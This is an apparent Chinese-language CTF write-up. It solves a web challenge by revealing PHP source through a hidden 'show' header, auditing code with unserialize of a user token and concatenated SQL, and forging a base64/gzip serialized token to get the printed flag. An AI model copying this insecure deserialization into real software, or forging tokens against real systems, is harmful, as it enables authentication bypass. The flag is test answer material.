CTF web之旅 6
f12查看前段代码 考虑为账号密码
登录成功
随便查看登录成功页面的抓包信息
再返回看到了一个奇怪的头部 show 值为0
是不是令它为1可以显示一些关键信息
请求包添加头部 show:1
果然返回了一段php 开始审计之路
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//array_merge()是把多个数组合为一个数组 特别注意array_merge() 如果输入的数组中有相同的字符串键名,则该键名后面的值将覆盖前一个值。
//然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
class db
{
public $where;//定义where属性
function __wakeup()//定义wakeup方法
{
if(!empty($this->where))//$this代表当前对象的内存地址,可以调用对象的所有属性和方法
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);//执行查询语句
return @mysql_fetch_array($sql);//mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
//就是将查询结果以数组的形式返回
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//对token令牌依次base64解码 解压被压缩的字符串 反序列化
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//函数转义 SQL 语句中使用的字符串中的特殊字符:\x00 \n \r \ ' " \x1a
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(â¯âµâ¡â²)â¯ï¸µâ´ââ´ ";
}
}else{
header('Location: index.php?error=1');
}
?>
if($login['user'] === 'ichunqiu')这个是关键
将ichunqiu这段字符经过对应的三个反函数处理 然后加入到请求包的令牌中即可
<?php $a = array('user'=>'ichunqiu'); $a = base64_encode(gzcompress(serialize($a))); echo $a ?>
在线运行一下


得到flag
flag{fb39499c-b390-403f-8fde-5030ce849a83}

浙公网安备 33010602011771号